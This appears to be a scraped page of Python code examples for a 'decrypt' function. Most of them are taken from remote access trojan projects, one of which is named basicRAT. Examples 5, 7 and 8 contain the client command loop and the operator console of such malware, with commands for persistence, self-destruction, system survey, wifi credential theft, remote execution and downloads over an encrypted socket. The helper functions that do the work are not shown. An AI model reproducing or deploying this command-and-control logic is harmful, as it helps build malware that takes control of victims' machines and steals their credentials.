Example #1
0
def main():
    # prep data to send to server
    data = server_to_client(CMD, ACT)
    data = dict2json(data)
    enc_data = encrypt(data, KEY)

    # data sent to client
    dec_data = decrypt(enc_data, KEY)
    dec_data = json2dict(dec_data)
    dec_cmd, dec_act = dec_data['command'], dec_data['action']

    # things are working so far :)
    if (CMD == dec_cmd) and (ACT == dec_act):
        print('working!')
    results = os.popen('%s %s' % (CMD, ACT)).read()

    # prep data to send to client
    data = client_to_server(results)
    data = dict2json(data)
    enc_data = encrypt(data, KEY)

    # data sent to server
    dec_data = decrypt(enc_data, KEY)
    dec_data = json2dict(dec_data)
    dec_results = dec_data['results']

    print(dec_results)
Example #2
0
 def recv_client(self, client):
     try:
         recv_data = client.conn.recv(4096)
         print decrypt(recv_data, client.dhkey) 
         #print recv_data
     except Exception as e:
         print '[!] Error: {}'.format(e)
Example #3
0
    def on_message(self, device: Device, message: bytes) -> dict:
        if validate_token(message):
            self.logger.encrypted_message("Received bytes: {}".format(message))
            message = decrypt(message, device.key)
            self.logger.message("Received decrypted: {}".format(message))

            try:
                message = json.loads(message, cls=MessageDecoder)
            except json.JSONDecodeError as e:
                self.logger.error("Failed to decode message {}: {}".format(
                    message, e))
                raise Exception("Failed to decode message")

            if device.is_verified():
                return message
            else:
                if message.get("event_type") == "assign":
                    if str(message.get(
                            "encryption_key")).encode() == device.custom_key:
                        device.key = device.custom_key
                        device.set_verified(True)
                        self.connected.emit(device, device.ip(), device.port())
                        self.logger.info("Device {} validated".format(
                            device.id()))
                    else:
                        self.logger.warning(
                            "Assigned keys do not match! Bot {} will be kicked!"
                            .format(device.id()))
                        device.kick()
        else:
            self.decryption_error.emit(device, message)
            raise Exception("Message is not valid")
        return {}
Example #4
0
 def old_output(self, timeout=10):
     readable, _, exceptional = select.select([self.conn], [], [self.conn], timeout)
     if self.conn in exceptional:
         print 'Error: Socket error.'
     elif self.conn in readable:
         recv_data = decrypt(self.conn.recv(4096), self.dhkey)
         return recv_data
Example #5
0
def client_loop(conn, dhkey):
    while True:
        results = ''

        # wait to receive data from server
        data = crypto.decrypt(conn.recv(4096), dhkey)

        # seperate data into command and action
        cmd, _, action = data.partition(' ')

        if cmd == 'kill':
            conn.close()
            return 1

        elif cmd == 'selfdestruct':
            conn.close()
            toolkit.selfdestruct(PLAT)

        elif cmd == 'goodbye':
            conn.shutdown(socket.SHUT_RDWR)
            conn.close()
            break

        elif cmd == 'rekey':
            dhkey = crypto.diffiehellman(conn)

        elif cmd == 'persistence':
            results = persistence.run(PLAT)

        elif cmd == 'scan':
            results = scan.single_host(action)

        elif cmd == 'survey':
            results = survey.run(PLAT)

        elif cmd == 'cat':
            results = toolkit.cat(action, PLAT)

        elif cmd == 'execute':
            results = toolkit.execute(action)

        elif cmd == 'stealwifi':
            results = toolkit.stealwifi(PLAT)

        elif cmd == 'ls':
            results = toolkit.ls(action, PLAT)

        elif cmd == 'pwd':
            results = toolkit.pwd(PLAT)

        elif cmd == 'unzip':
            results = toolkit.unzip(action)

        elif cmd == 'wget':
            results = toolkit.wget(action)

        results += '\n{} completed.'.format(cmd)

        conn.send(crypto.encrypt(results, dhkey))
Example #6
0
 def recv_client(self, client):
     try:
         recv_data = client.conn.recv(4096)
         recv_data = decrypt(recv_data, client.dhkey)
         recv_data = json2dict(recv_data)
         recv_data = recv_data['results']
         print(recv_data)
     except Exception as e:
         print('Error: {}'.format(e))
Example #7
0
def client_loop(conn, dhkey):
    while True:
        results = ''

        # wait to receive data from server
        data = crypto.decrypt(conn.recv(4096), dhkey)

        # error checking here! for faulty shit (both sides of recv)
        data = json2dict(data)
        cmd, action = data['command'], data['action']

        if cmd == 'kill':
            conn.close()
            return 1

        elif cmd == 'selfdestruct':
            conn.close()
            toolkit.selfdestruct(PLAT)

        elif cmd == 'quit':
            conn.shutdown(socket.SHUT_RDWR)
            conn.close()
            break

        elif cmd == 'persistence':
            results = persistence.run(PLAT)

        elif cmd == 'scan':
            results = scan.single_host(action)

        elif cmd == 'survey':
            results = survey.run(PLAT)

        elif cmd == 'cat':
            results = toolkit.cat(action)

        elif cmd == 'execute':
            results = toolkit.execute(action)

        elif cmd == 'ls':
            results = toolkit.ls(action)

        elif cmd == 'pwd':
            results = toolkit.pwd()

        elif cmd == 'unzip':
            results = toolkit.unzip(action)

        elif cmd == 'wget':
            results = toolkit.wget(action)

        results = results.rstrip() + '\n{} completed.'.format(cmd)

        data = client_to_server(results)
        data = dict2json(data)

        conn.send(crypto.encrypt(data, dhkey))
Example #8
0
    def send(self, prompt):
        if not self.alive:
            print 'Error: Client not connected.'
            return

        # check for old output
        readable, _, _ = select.select([self.conn], [], [], 0)
        if readable:
            print self.old_output(0)

        # seperate prompt into command and action
        cmd, _, action = prompt.partition(' ')

        # selfdestruct rat
        if cmd == 'selfdestruct':
            if raw_input('Remove all traces of basicRAT from the target ' \
                         'system (y/N)? ').startswith('y'):
                print 'Running selfdestruct...'
                self.conn.send(encrypt(prompt, self.dhkey))
                self.conn.close()
            return

        # send prompt to client
        try:
            self.conn.send(encrypt(prompt, self.dhkey))
        except socket.error:
            print 'Error: Could not connect to client.'
            return
        self.conn.settimeout(1)

        # kill client connection
        if cmd == 'kill':
            self.conn.close()

        if cmd == 'rekey':
            self.dhkey = diffiehellman(self.conn)

        # results of execute, persistence, scan, survey, unzip, wget, or stealwifi
        if cmd in [
                'cat', 'execute', 'ls', 'persistence', 'pwd', 'rekey', 'scan',
                'survey', 'unzip', 'wget', 'stealwifi'
        ]:
            print 'Running {}...'.format(cmd)
            recv_data = decrypt(self.conn.recv(4096), self.dhkey)
            print recv_data
Example #9
0
 def on_message(self, message: bytes) -> dict:
     if self.key and validate_token(message):
         self.logger.encrypted_message("Received bytes: {}".format(message))
         message = decrypt(message, self.key)
         self.logger.message("Received decrypted: {}".format(message))
     else:
         self.decryption_error.emit(message)
     try:
         message = json.loads(message, cls=MessageDecoder)
         if message.get("event_type") == "assign":
             encryption_key = message.get("encryption_key")
             self.write({
                 "event_type": "assign",
                 "encryption_key": encryption_key
             })
             self.key = encryption_key
             self.connected.emit(self.server_ip, self.server_port)
             return {}
         else:
             self.message.emit(message)
             return message
     except json.JSONDecodeError as e:
         self.logger.error("Failed to decode message {}: {}".format(
             message, e))
Example #10
0
 def recv_client(self, client):
     try:
         recv_data = client.conn.recv(4096)
         print decrypt(recv_data, client.dhkey)
     except:
         print 'Error: Could not connect to client.'
Example #11
0
 def recv_client(self, client):
     try:
         recv_data = client.conn.recv(4096)
         print(decrypt(recv_data, client.dhkey))
     except Exception as e:
         print("[!]: {}".format(str(e)))